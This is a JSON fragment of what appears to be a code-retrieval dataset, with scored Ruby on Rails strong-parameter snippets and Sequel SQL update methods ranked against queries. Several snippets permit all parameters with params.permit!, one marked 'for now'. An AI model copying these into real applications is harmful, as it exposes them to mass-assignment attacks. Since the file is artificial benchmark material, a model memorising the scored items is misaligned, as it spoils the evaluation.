"docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c",
"score": "0.6291996",
"text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end",
"title": ""
},
{
"docid": "9b76b3149ac8b2743f041d1af6b768b5",
"score": "0.62786806",
"text": "def filter_params\n params.permit(\n\t\t\t\t:name,\n\t\t\t\t:sitedefault,\n\t\t\t\t:opinions,\n\t\t\t\t:contested,\n\t\t\t\t:uncontested,\n\t\t\t\t:initiators,\n\t\t\t\t:comments,\n\t\t\t\t:following,\n\t\t\t\t:bookmarks,\n\t\t\t\t:lone_wolf,\n\t\t\t\t:level_zero,\n\t\t\t\t:level_nonzero,\n\t\t\t\t:private,\n\t\t\t\t:public_viewing,\n\t\t\t\t:public_comments,\n\t\t\t\t:has_parent,\n\t\t\t\t:has_no_parent,\n\t\t\t\t:today,\n\t\t\t\t:last_week,\n\t\t\t\t:last_month,\n\t\t\t\t:last_year,\n\t\t\t\t:sort_by_created_at,\n\t\t\t\t:sort_by_updated_at,\n\t\t\t\t:sort_by_views,\n\t\t\t\t:sort_by_votes,\n\t\t\t\t:sort_by_scores,\n\t\t\t\t:who_id)\n end",
"title": ""
},
{
"docid": "603f4a45e5efa778afca5372ae8a96dc",
"score": "0.62717277",
"text": "def param_whitelist\n [:role]\n end",
"title": ""
},
{
"docid": "f6399952b4623e5a23ce75ef1bf2af5a",
"score": "0.62658894",
"text": "def allowed_params\n\t\tparams.require(:password).permit(:pass)\n\tend",
"title": ""
},
{
"docid": "37c5d0a9ebc5049d7333af81696608a0",
"score": "0.6254184",
"text": "def safe_params\n\t\tparams.require(:event).permit(:title, :event_date, :begti, :endti, :comments, :has_length, :is_private)\n\tend",
"title": ""
},
{
"docid": "505e334c1850c398069b6fb3948ce481",
"score": "0.625358",
"text": "def sanitise!\n @params.keep_if {|k,v| whitelisted? k}\n end",
"title": ""
},
{
"docid": "6c4620f5d8fd3fe3641e0474aa7014b2",
"score": "0.62506795",
"text": "def white_listed_parameters\n params\n .require(:movie)\n .permit(:title, :description, :year_released)\n end",
"title": ""
},
{
"docid": "d14bb69d2a7d0f302032a22bb9373a16",
"score": "0.62342095",
"text": "def protect_my_params\n return params.require(:photo).permit(:title, :artist, :url)\n\tend",
"title": ""
},
{
"docid": "5629f00db37bf403d0c58b524d4c3c37",
"score": "0.62271494",
"text": "def filtered_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "d370098b1b3289dbd04bf1c073f2645b",
"score": "0.62269396",
"text": "def allow_params\n params.permit(:id, :email, :password)\n end",
"title": ""
},
{
"docid": "78cbf68c3936c666f1edf5f65e422b6f",
"score": "0.6226112",
"text": "def whitelisted_user_params\n if params[:user]\n params.require(:user).permit(:email, :username, :password)\n else\n { :email => params[:email],\n :username => params[:username],\n :password => params[:password] }\n end\nend",
"title": ""
},
{
"docid": "fde8b208c08c509fe9f617229dfa1a68",
"score": "0.6224588",
"text": "def strong_params\n params.require(:thread).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "d38efafa6be65b2f7da3a6d0c9b7eaf5",
"score": "0.62000334",
"text": "def roaster_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password_digest, :address, :website, :phone, :latitude, :longitutde, :description)\n end",
"title": ""
},
{
"docid": "d724124948bde3f2512c5542b9cdea74",
"score": "0.619004",
"text": "def alpha_provider_params\n params.require(:alpha_provider).permit!\n end",
"title": ""
},
{
"docid": "d18a36785daed9387fd6d0042fafcd03",
"score": "0.6182373",
"text": "def white_listed_parameters\n params\n .require(:company)\n .permit(:company_name, :company_avatar)\n end",
"title": ""
},
{
"docid": "36956168ba2889cff7bf17d9f1db41b8",
"score": "0.61777395",
"text": "def set_param_whitelist(*param_list)\n self.param_whitelist = param_list\n end",
"title": ""
},
{
"docid": "07bc0e43e1cec1a821fb2598d6489bde",
"score": "0.61629707",
"text": "def accept_no_params\n accept_params {}\n end",
"title": ""
},
{
"docid": "fc4b1364974ea591f32a99898cb0078d",
"score": "0.6160594",
"text": "def request_params\n params.permit(:username, :password, :user_id, :status, :accepted_by, :rejected_by)\n end",
"title": ""
},
{
"docid": "13e3cfbfe510f765b5944667d772f453",
"score": "0.61548823",
"text": "def admin_security_params\n params.require(:security).permit(:name, :url, :commonplace_id)\n end",
"title": ""
},
{
"docid": "84bd386d5b2a0d586dca327046a81a63",
"score": "0.6153307",
"text": "def good_params\n permit_params\n end",
"title": ""
},
{
"docid": "b9432eac2fc04860bb585f9af0d932bc",
"score": "0.61359197",
"text": "def wall_params\n params.permit(:public_view, :guest)\n end",
"title": ""
},
{
"docid": "f2342adbf71ecbb79f87f58ff29c51ba",
"score": "0.61332136",
"text": "def housing_request_params\n params[:housing_request].permit! #allow all parameters for now\n end",
"title": ""
},
{
"docid": "8fa507ebc4288c14857ace21acf54c26",
"score": "0.6117462",
"text": "def strong_params\n # to dooo\n end",
"title": ""
},
{
"docid": "9292c51af27231dfd9f6478a027d419e",
"score": "0.6113605",
"text": "def domain_params\n params[:domain].permit!\n end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.61135256",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.61135256",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "a3aee889e493e2b235619affa62f39c3",
"score": "0.61102164",
"text": "def user_params\n params.permit(:full_name, :email, :job, :about, :max_search_distance,\n :website_url, :linkedin_url,\n :behance_url, :github_url, :stackoverflow_url)\n end",
"title": ""
},
{
"docid": "585f461bf01ed1ef8d34fd5295a96dca",
"score": "0.610241",
"text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "585f461bf01ed1ef8d34fd5295a96dca",
"score": "0.610241",
"text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "b63ab280629a127ecab767e2f35b8ef0",
"score": "0.60958886",
"text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end",
"title": ""
},
{
"docid": "b63ab280629a127ecab767e2f35b8ef0",
"score": "0.60958886",
"text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end",
"title": ""
},
{
"docid": "677293afd31e8916c0aee52a787b75d8",
"score": "0.6085571",
"text": "def newsletter_params\n params.permit!.except(:action, :controller, :_method, :authenticity_token)\n end",
"title": ""
},
{
"docid": "e50ea3adc222a8db489f0ed3d1dce35b",
"score": "0.608522",
"text": "def params_without_facebook_data\n params.except(:signed_request).permit!.to_hash\n end",
"title": ""
},
{
"docid": "b7ab5b72771a4a2eaa77904bb0356a48",
"score": "0.6084166",
"text": "def search_params\n params.permit!.except(:controller, :action, :format)\n end",
"title": ""
},
{
"docid": "b2841e384487f587427c4b35498c133f",
"score": "0.60775006",
"text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end",
"title": ""
},
{
"docid": "3f5347ed890eed5ea86b70281803d375",
"score": "0.6073921",
"text": "def user_params\n params.permit!\n end",
"title": ""
},
{
"docid": "0c8779b5d7fc10083824e36bfab170de",
"score": "0.6067218",
"text": "def white_base_params\n params.fetch(:white_base, {}).permit(:name)\n end",
"title": ""
},
{
"docid": "fa0608a79e8d27c2a070862e616c8c58",
"score": "0.6065894",
"text": "def vampire_params\n # whitelist all of the vampire attributes so that your forms work!\n end",
"title": ""
},
{
"docid": "a3dc8b6db1e6584a8305a96ebb06ad21",
"score": "0.6064601",
"text": "def need_params\n end",
"title": ""
},
{
"docid": "7646659415933bf751273d76b1d11b40",
"score": "0.6064436",
"text": "def whitelisted_observation_params\n return unless params[:observation]\n\n params[:observation].permit(whitelisted_observation_args)\n end",
"title": ""
},
{
"docid": "4f8205e45790aaf4521cdc5f872c2752",
"score": "0.60631806",
"text": "def search_params\n params.permit(:looking_for, :utf8, :authenticity_token, :min_age,\n :max_age, :sort_by, likes:[])\n end",
"title": ""
},
{
"docid": "e39a8613efaf5c6ecf8ebd58f1ac0a06",
"score": "0.6061806",
"text": "def permitted_params\n params.permit :utf8, :_method, :authenticity_token, :commit, :id,\n :encrypted_text, :key_size\n end",
"title": ""
},
{
"docid": "c436017f4e8bd819f3d933587dfa070a",
"score": "0.6060409",
"text": "def filtered_parameters; end",
"title": ""
},
{
"docid": "d6886c65f0ba5ebad9a2fe5976b70049",
"score": "0.6056974",
"text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end",
"title": ""
},
{
"docid": "96ddf2d48ead6ef7a904c961c284d036",
"score": "0.6047898",
"text": "def user_params\n permit = [\n :email, :password, :password_confirmation,\n :image, :name, :nickname, :oauth_token,\n :oauth_expires_at, :provider, :birthday\n ]\n params.permit(permit)\n end",
"title": ""
},
{
"docid": "f78d6fd9154d00691c34980d7656b3fa",
"score": "0.6047841",
"text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"title": ""
},
{
"docid": "f78d6fd9154d00691c34980d7656b3fa",
"score": "0.6047841",
"text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"title": ""
},
{
"docid": "75b7084f97e908d1548a1d23c68a6c4c",
"score": "0.604599",
"text": "def allowed_params\n params.require(:sea).permit(:name, :temperature, :bio, :mood, :image_url, :favorite_color, :scariest_creature, :has_mermaids)\n end",
"title": ""
},
{
"docid": "080d2fb67f69228501429ad29d14eb29",
"score": "0.6041073",
"text": "def filter_user_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "aa0aeac5c232d2a3c3f4f7e099e7e6ff",
"score": "0.60329294",
"text": "def parameters\n params.permit(permitted_params)\n end",
"title": ""
},
{
"docid": "0bdcbbe05beb40f7a08bdc8e57b7eca8",
"score": "0.6029157",
"text": "def filter_params\n end",
"title": ""
},
{
"docid": "cf73c42e01765dd1c09630007357379c",
"score": "0.602574",
"text": "def params_striper\n\t \tparams[:user].delete :moonactor_ability\n\t end",
"title": ""
},
{
"docid": "793abf19d555fb6aa75265abdbac23a3",
"score": "0.60209215",
"text": "def user_params\n if admin_user?\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter, :active, :admin, :receive_customer_inquiry)\n else\n # Don't allow non-admin users to hack the parameters and give themselves admin security; self created records automatically set to active\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter)\n end\n end",
"title": ""
},
{
"docid": "2e70947f467cb6b1fda5cddcd6dc6304",
"score": "0.60183305",
"text": "def strong_params(wimpy_params)\n ActionController::Parameters.new(wimpy_params).permit!\nend",
"title": ""
},
{
"docid": "2a11104d8397f6fb79f9a57f6d6151c7",
"score": "0.6016583",
"text": "def user_params\n sanitize params.require(:user).permit(:username, :password, :password_confirmation, :display_name, :about_me, :avatar, :current_password, :banned, :ban_message)\n end",
"title": ""
},
{
"docid": "a83bc4d11697ba3c866a5eaae3be7e05",
"score": "0.6013783",
"text": "def user_params\n\t params.permit(\n\t :name,\n\t :email,\n\t :password\n\t \t )\n\t end",
"title": ""
},
{
"docid": "2aa7b93e192af3519f13e9c65843a6ed",
"score": "0.6007249",
"text": "def user_params\n params[:user].permit!\n end",
"title": ""
},
{
"docid": "9c8cd7c9e353c522f2b88f2cf815ef4e",
"score": "0.6005397",
"text": "def case_sensitive_params\n params.require(:case_sensitive).permit(:name)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6005393",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6005393",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "9736586d5c470252911ec58107dff461",
"score": "0.6003378",
"text": "def params_without_classmate_data\n params.clone.permit!.except(*(CLASSMATE_PARAM_NAMES + DEBUG_PARAMS))\n end",
"title": ""
},
{
"docid": "e7cad604922ed7fad31f22b52ecdbd13",
"score": "0.6001586",
"text": "def member_params\n # byebug\n params.require(:member).permit(\n :first_name, \n :last_name, \n :username, \n :email, \n :password, \n :image, \n :family_size, \n :address)\n\n end",
"title": ""
},
{
"docid": "58ad32a310bf4e3c64929a860569b3db",
"score": "0.6000142",
"text": "def user_params\n\t\tparams.require(:user).permit!\n\tend",
"title": ""
},
{
"docid": "58ad32a310bf4e3c64929a860569b3db",
"score": "0.6000142",
"text": "def user_params\n\t\tparams.require(:user).permit!\n\tend",
"title": ""
},
{
"docid": "f70301232281d001a4e52bd9ba4d20f5",
"score": "0.5999887",
"text": "def room_allowed_params\n end",
"title": ""
},
{
"docid": "2e6de53893e405d0fe83b9d18b696bd5",
"score": "0.5998492",
"text": "def user_params\n params.require(:user).permit(:username, :password, :realname, :email, :publicvisible)\n end",
"title": ""
},
{
"docid": "19bd0484ed1e2d35b30d23b301d20f7c",
"score": "0.5996129",
"text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end",
"title": ""
},
{
"docid": "19bd0484ed1e2d35b30d23b301d20f7c",
"score": "0.5996129",
"text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end",
"title": ""
},
{
"docid": "a50ca4c82eaf086dcbcc9b485ebd4261",
"score": "0.5992997",
"text": "def white_listed_parameters\n params\n .require(:story)\n .permit(:title, :link, :upvotes, :category)\n end",
"title": ""
},
{
"docid": "0f53610616212c35950b45fbcf9f5ad4",
"score": "0.5992662",
"text": "def user_params(params)\n\tparams.permit(:email, :password, :name, :blurb)\n end",
"title": ""
},
{
"docid": "b545ec7bfd51dc43b982b451a715a538",
"score": "0.59919816",
"text": "def user_params\n params_allowed = %i[email password password_confirmation is_admin]\n params.require(:user).permit(params_allowed)\n end",
"title": ""
},
{
"docid": "0b704016f3538045eb52c45442e7f704",
"score": "0.59903735",
"text": "def admin_params\n filtered_params = params.require(:admin).permit(:display_name, :email, :password, :password_confirmation)\n if filtered_params[:password] == \"\"\n filtered_params.delete(:password)\n filtered_params.delete(:password_confirmation)\n end\n filtered_params\n end",
"title": ""
},
{
"docid": "6af3741c8644ee63d155db59be10a774",
"score": "0.59890324",
"text": "def allowed_params\n %i[\n lock_version\n comments\n organization\n job_title\n pronouns\n year_of_birth\n gender\n ethnicity\n opted_in\n invite_status\n acceptance_status\n registered\n registration_type\n can_share\n registration_number\n can_photo\n can_record\n name\n name_sort_by\n name_sort_by_confirmed\n pseudonym\n pseudonym_sort_by\n pseudonym_sort_by_confirmed\n ]\n end",
"title": ""
}
] |
37207f699d77f21d4caf3c392006f0c1
|
Emulate UPDATE using INSERT OVERWRITE AS SELECT. For all columns used in the given +values+, use a CASE statement. In the CASE statement, set the value to the new value if the row matches WHERE conditions of the current dataset, otherwise use the existing value.
|
[
{
"docid": "dea0a358f92c36c512ee3ed53417a93c",
"score": "0.7078802",
"text": "def update_sql(values)\n sql = \"INSERT OVERWRITE \"\n source_list_append(sql, opts[:from])\n sql << \" SELECT \"\n comma = false\n\n if where = opts[:where]\n where = Sequel.lit(literal(where))\n else\n where = true\n end\n\n select_all.columns.each do |c|\n if comma\n sql << comma\n else\n comma = ', '\n end\n\n if values.has_key?(c)\n new_value = values[c]\n literal_append(sql, Sequel.case({where=>new_value}, c).as(c))\n else\n quote_identifier_append(sql, c)\n end\n end\n sql << \" FROM \"\n source_list_append(sql, opts[:from])\n sql\n end",
"title": ""
}
] |
[
{
"docid": "b49b0af95d0f75306629cdbacc9802be",
"score": "0.6924258",
"text": "def update_sql(values)\n sql = String.new\n sql << \"INSERT OVERWRITE \"\n source_list_append(sql, opts[:from])\n sql << \" SELECT \"\n comma = false\n\n if where = opts[:where]\n where = Sequel.lit(literal(where))\n else\n where = true\n end\n\n select_all.columns.each do |c|\n if comma\n sql << comma\n else\n comma = ', '\n end\n\n if values.has_key?(c)\n new_value = values[c]\n literal_append(sql, Sequel.case({where=>new_value}, c).as(c))\n else\n quote_identifier_append(sql, c)\n end\n end\n sql << \" FROM \"\n source_list_append(sql, opts[:from])\n sql\n end",
"title": ""
},
{
"docid": "7f2919ca1e9140766f9f76fa646ab15a",
"score": "0.6809883",
"text": "def update(values, opts = nil)\n # @db.synchronize do\n # @db.execute(update_sql(values, opts)).affected_rows\n # end\n raise NotImplementedError, NOTIMPL_MSG\n end",
"title": ""
},
{
"docid": "c41b5c1377ca0b4a523a78280e4f6585",
"score": "0.65990114",
"text": "def update(values=OPTS, &block)\n sql = update_sql(values)\n if uses_returning?(:update)\n returning_fetch_rows(sql, &block)\n else\n execute_dui(sql)\n end\n end",
"title": ""
},
{
"docid": "c7289854f432e3ae88fd0f65e206fdf0",
"score": "0.6478277",
"text": "def update_with_params(values)\n c = columns\n values.each do |k, v| m = :\"#{k}=\"\n send(m, v) if c.include?(k) || respond_to?(m)\n end\n save_changes\n end",
"title": ""
},
{
"docid": "3a575ca595337bf66c0c12caf86a8769",
"score": "0.64753723",
"text": "def update_sql(values = {}, opts = nil, &block)\n opts = opts ? @opts.merge(opts) : @opts\n\n if opts[:group]\n raise Error::InvalidOperation, \"A grouped dataset cannot be updated\"\n elsif (opts[:from].size > 1) or opts[:join]\n raise Error::InvalidOperation, \"A joined dataset cannot be updated\"\n end\n \n sql = \"UPDATE #{@opts[:from]} SET \"\n if block\n sql << block.to_sql(self, :comma_separated => true)\n else\n # check if array with keys\n values = values.to_hash if values.is_a?(Array) && values.keys\n if values.is_a?(Hash)\n # get values from hash\n values = transform_save(values) if @transform\n set = values.map do |k, v|\n # convert string key into symbol\n k = k.to_sym if String === k\n \"#{literal(k)} = #{literal(v)}\"\n end.join(COMMA_SEPARATOR)\n else\n # copy values verbatim\n set = values\n end\n sql << set\n end\n if where = opts[:where]\n sql << \" WHERE #{where}\"\n end\n\n sql\n end",
"title": ""
},
{
"docid": "a40d26a02b0e2b0763a14c987c3a6cdf",
"score": "0.6447203",
"text": "def update (table, values, where, omitt)\n if omitt == false\n @oci.exec(\"UPDATE #{table} SET #{values[0]} WHERE #{where}\")\n @oci.commit\n else\n @oci.exec(\"UPDATE #{table} SET #{values[0]}\")\n @oci.commit\n end\n end",
"title": ""
},
{
"docid": "bc3703dde631dca9fb4f612952ca48df",
"score": "0.6341448",
"text": "def update(values={})\n execute_dui(update_sql(values))\n end",
"title": ""
},
{
"docid": "1d4a81f159b60eeb681b09114255b6b4",
"score": "0.63165504",
"text": "def replace(*values)\n execute_insert(replace_sql(*values))\n end",
"title": ""
},
{
"docid": "cd9833367c61c59549789f9eaf9ea541",
"score": "0.6248149",
"text": "def sql_update(fldsValues, selection)\n raise ArgumentError, \"Needs a field:value hash\" if fldsValues.nil? || fldsValues.empty?\n\n flds, vals = parse_fldsvalues(fldsValues)\n sets = flds.map {|f| %Q| #{f} = #{placeholder}| }\n\n wsql, wvals = sql_where(selection)\n\n sql = %Q|update #{quoted_table}\n set #{sets.join ','}\n #{wsql};|\n \n [sql, vals + wvals]\n end",
"title": ""
},
{
"docid": "b70d67897815ea5839541c6a926ceb0a",
"score": "0.6246598",
"text": "def replace_sql(*values)\n clone(:replace=>true).insert_sql(*values)\n end",
"title": ""
},
{
"docid": "6c9ecb84c41a32d71a529b65282661ee",
"score": "0.60663956",
"text": "def update_values(values)\n before_update_values\n this.update(set_values(values))\n end",
"title": ""
},
{
"docid": "632f848a87817a7691d8074521d80a4f",
"score": "0.60574996",
"text": "def bulk_update(columns, values, args = {})\n temp_table = \"#{table_name}_temp_table_#{$$}\"\n key = args[:key] || args[:keys] || 'id'\n condition = args[:condition]\n exclude_fields = args[:exclude_fields]\n insert = args[:insert].nil? ? true : args[:insert]\n update = args[:update].nil? ? true : args[:update]\n remove = args[:remove].nil? ? true : args[:remove]\n\n # Clone temp-table and load it\n clone_table to: temp_table\n bulk_insert columns, values, into: temp_table\n\n # Find differences and create, update and delete these through ActiveRecord to handle Callbacks, etc.\n create(get_new_records for: self, compare_with: temp_table, on: key, condition: condition, exclude_fields: exclude_fields) if insert\n if update\n get_updated_records(for: self, compare_with: temp_table, on: key, condition: condition, exclude_virtual: args[:exclude_virtual], exclude_fields: exclude_fields).each do |id, new_attributes|\n find(id).update_attributes new_attributes\n end\n end\n destroy(get_deleted_records for: self, compare_with: temp_table, on: key, condition: condition, exclude_virtual: args[:exclude_virtual]) if remove\n\n ensure\n # Drop temp table\n ActiveRecord::Base.connection.execute \"DROP TABLE IF EXISTS #{temp_table}\"\n end",
"title": ""
},
{
"docid": "d4af8d84d7f72a332a5eabfd3219a238",
"score": "0.6023229",
"text": "def update_sql(values = {})\n if values.is_a?(Hash)\n super(merge_defaults_overrides(values))\n else\n super\n end\n end",
"title": ""
},
{
"docid": "6c519f7710bee6007aa86b9455ca398e",
"score": "0.59588337",
"text": "def merge_update_sql(sql)\n\t\t return if not (values = @opts[:update]) or values.empty?\n\t\t\tvalues = Hash[values] if Array===values and values.all?{|v| Array===v && v.size==2}\n\t\t if Hash === values\n\t\t values = @opts[:defaults].merge(values) if @opts[:defaults]\n\t\t values = values.merge(@opts[:overrides]) if @opts[:overrides]\n\t\t # get values from hash\n\t\t values = values.map do |k, v|\n\t\t \"#{k.is_a?(String) && !k.is_a?(LiteralString) ? quote_identifier(k) : literal(k)} = #{literal(v)}\"\n\t\t end.join(COMMA_SEPARATOR)\n\t\t end\n\t\t sql << \"\\nWHEN MATCHED THEN\\nUPDATE SET #{values}\"\n\t\tend",
"title": ""
},
{
"docid": "17c38f1c9dd331d0f8412a96662f10c8",
"score": "0.59173656",
"text": "def multi_value_update(table:, column:, pivot:, update_list:, else_value: column)\n <<~SQL\n UPDATE #{table}\n SET #{column} = CASE #{pivot}\n #{update_list.map do |update|\n \" WHEN #{update[:pivot_value].to_sql} THEN #{update[:update_to].to_sql}\" <<\n (\" -- #{update[:comment]} \"unless update[:comment].nil? || update[:comment].empty?)\n end.join($/)}\n #{else_value && \"ELSE #{else_value}\"}\n END\n WHERE #{pivot} IN (#{update_list.map { |update| update[:pivot_value] }.map(&:to_sql).join(', ')})\n SQL\n end",
"title": ""
},
{
"docid": "f0655b89c71dcd40cdc38aba2848b30c",
"score": "0.5907557",
"text": "def update(values); end",
"title": ""
},
{
"docid": "052a928148d033097fd4e57488cd04ec",
"score": "0.58936787",
"text": "def update_set_sql(sql)\n values = opts[:values]\n set = if values.is_a?(Hash)\n values = opts[:defaults].merge(values) if opts[:defaults]\n values = values.merge(opts[:overrides]) if opts[:overrides]\n # get values from hash\n values.map do |k, v|\n \"#{k.is_a?(String) && !k.is_a?(LiteralString) ? quote_identifier(k) : literal(k)} = #{literal(v)}\"\n end.join(COMMA_SEPARATOR)\n else\n # copy values verbatim\n values\n end\n sql << \" SET #{set}\"\n end",
"title": ""
},
{
"docid": "e1d1d67a98936b5f08c2fe574bbfa702",
"score": "0.5803035",
"text": "def []=(conditions, values)\n filter(conditions).update(values)\n end",
"title": ""
},
{
"docid": "bd3d956f42606565c6e214fe77a5a009",
"score": "0.576094",
"text": "def update_values(columns)\n begin\n id = columns[\"id\"] # determine the id for the current record\n conn = open_db() # open database for updating\n columns.each do |column, value| # iterate through columns hash for each column/value pair\n unless column == \"id\" # we do NOT want to update the id\n table = match_table(column) # determine which table contains the specified column\n # workaround for table name being quoted and column name used as bind parameter\n query = \"update \" + table + \" set \" + column + \" = $2 where id = $1\"\n conn.prepare('q_statement', query)\n rs = conn.exec_prepared('q_statement', [id, value])\n conn.exec(\"deallocate q_statement\")\n end\n end\n rescue PG::Error => e\n puts 'Exception occurred'\n puts e.message\n ensure\n conn.close if conn\n end\nend",
"title": ""
},
{
"docid": "47a788a2a904a9a18f788ba3cfa67e2a",
"score": "0.56880224",
"text": "def set_fields_direct(values)\n if new_record?\n values.each_pair { |column, value| self[column] = value }\n else\n update_columns(values)\n end\n end",
"title": ""
},
{
"docid": "3881fc9b697e804d28de352b45600198",
"score": "0.5686294",
"text": "def update_with_params(values)\n set_with_params(values)\n save_changes\n end",
"title": ""
},
{
"docid": "b3e8a38a1e1ab027baaeb87ba9f7acd8",
"score": "0.5643076",
"text": "def update_sql(values, opts = nil, &block)\n sql = super\n opts = opts ? @opts.merge(opts) : @opts\n\n if order = opts[:order]\n sql << \" ORDER BY #{column_list(order)}\"\n end\n if limit = opts[:limit]\n sql << \" LIMIT #{limit}\"\n end\n\n sql\n end",
"title": ""
},
{
"docid": "b3e8a38a1e1ab027baaeb87ba9f7acd8",
"score": "0.5643076",
"text": "def update_sql(values, opts = nil, &block)\n sql = super\n opts = opts ? @opts.merge(opts) : @opts\n\n if order = opts[:order]\n sql << \" ORDER BY #{column_list(order)}\"\n end\n if limit = opts[:limit]\n sql << \" LIMIT #{limit}\"\n end\n\n sql\n end",
"title": ""
},
{
"docid": "bc873046c648cc000e1d3576fa1fde15",
"score": "0.5611011",
"text": "def update(values={})\n CQLModel::Query::UpdateStatement.new(self).update(values)\n end",
"title": ""
},
{
"docid": "9ed2688703e74a429af19aaaecdb7c63",
"score": "0.55650824",
"text": "def update_row(table_name, values)\n @database[table_name].where(@database[table_name].columns.first => values.first).delete\n @database[table_name].insert(values)\n end",
"title": ""
},
{
"docid": "5704bb8349810b8445dd01355e671a74",
"score": "0.55611503",
"text": "def update!(**args)\n @column = args[:column] if args.key?(:column)\n @operator = args[:operator] if args.key?(:operator)\n @values = args[:values] if args.key?(:values)\n end",
"title": ""
},
{
"docid": "42ffa1aab9b39411f0758bcd4da4c99c",
"score": "0.5554988",
"text": "def _update_without_checking(columns)\n ds = _update_dataset\n if ds.supports_returning?(:update)\n ds = ds.opts[:returning] ? ds : ds.returning(*self.class.update_refresh_columns)\n rows = ds.update(columns)\n n = rows.length\n if n == 1\n @values.merge!(rows.first)\n end\n n\n else\n super\n end\n end",
"title": ""
},
{
"docid": "223beeac433235baf749651a216a3c6e",
"score": "0.552622",
"text": "def _exec_update\n csv = CSV.read(@table_name, headers:true)\n csv.each do |row|\n if @where_col and @where_col_val and (row[@where_col] == @where_col_val)\n @update_vals.each do |key, value|\n row[key] = value\n end\n elsif !@where_col or !@where_col_val\n @update_vals.each do |key, value|\n row[key] = value\n end\n end\n end\n _updating_file(csv)\n end",
"title": ""
},
{
"docid": "9e1174d952ae4207002c21f1f2488bd6",
"score": "0.55240715",
"text": "def change_values(col, val, select_array)\r\n check_if_col_names([col])\r\n # Check if the value to be set if of the same type as the data type of the column. If not, raise an exception.\r\n raise Exception.new(\"Data type of value to be set (#{val.class}) is not the same as the datatype of the column (#{col}: #{@dtypes[col]})\") if val.class != @dtypes[col]\r\n # Ensure that the truth array is an array and it only contains true and false values\r\n check_array(select_array)\r\n raise Exception.new('Input array contains non-Boolean (true/false) values.') if (select_array.uniq - [true, false]).length > 0\r\n # If inputs are satisfactory, change the values in the specified column\r\n @df[col].each_index {|i| @df[col][i] = val if select_array[i]}\r\n end",
"title": ""
},
{
"docid": "0494ac2841e29b691af84dfddfb7039d",
"score": "0.5514033",
"text": "def update!(**args)\n @case_sensitive = args[:case_sensitive] if args.key?(:case_sensitive)\n @values = args[:values] if args.key?(:values)\n end",
"title": ""
},
{
"docid": "0494ac2841e29b691af84dfddfb7039d",
"score": "0.5514033",
"text": "def update!(**args)\n @case_sensitive = args[:case_sensitive] if args.key?(:case_sensitive)\n @values = args[:values] if args.key?(:values)\n end",
"title": ""
},
{
"docid": "0494ac2841e29b691af84dfddfb7039d",
"score": "0.5514033",
"text": "def update!(**args)\n @case_sensitive = args[:case_sensitive] if args.key?(:case_sensitive)\n @values = args[:values] if args.key?(:values)\n end",
"title": ""
},
{
"docid": "0494ac2841e29b691af84dfddfb7039d",
"score": "0.5514033",
"text": "def update!(**args)\n @case_sensitive = args[:case_sensitive] if args.key?(:case_sensitive)\n @values = args[:values] if args.key?(:values)\n end",
"title": ""
},
{
"docid": "fc7ab655c9c3832347451a6c395582c6",
"score": "0.5505527",
"text": "def multi_replace(*values)\n clone(:replace=>true).multi_insert(*values)\n end",
"title": ""
},
{
"docid": "10550be00fb6a7dc399360b61811d2ca",
"score": "0.5495092",
"text": "def assign_from_vacols(values)\n values.each do |key, value|\n setter = method(\"#{key}=\")\n setter.call(value)\n end\n end",
"title": ""
},
{
"docid": "d11650c1702785d950b69e8e9a6ce34b",
"score": "0.5464038",
"text": "def update_sql(values=OPTS)\n case values\n when LiteralString\n super\n when String\n raise Error, \"plain string passed to a dataset filtering method\"\n else\n super\n end\n end",
"title": ""
},
{
"docid": "dee8b1a54b2522d970a7a1256584f896",
"score": "0.5411444",
"text": "def set(values)\n @updates.merge!(values)\n end",
"title": ""
},
{
"docid": "58b16d42025a63cbdc69d35a9ddc5cd9",
"score": "0.53856224",
"text": "def merge (table, table_temp, columns, values, insert_col, value_col)\n @oci.exec(\"MERGE INTO #{table} USING #{table_temp} ON (#{columns[0]}) WHEN MATCHED THEN UPDATE SET #{values[0]} WHEN NOT MATCHED THEN INSERT (#{insert_col[0]}) VALUES (#{value_col[0]})\")\n @oci.commit\n end",
"title": ""
},
{
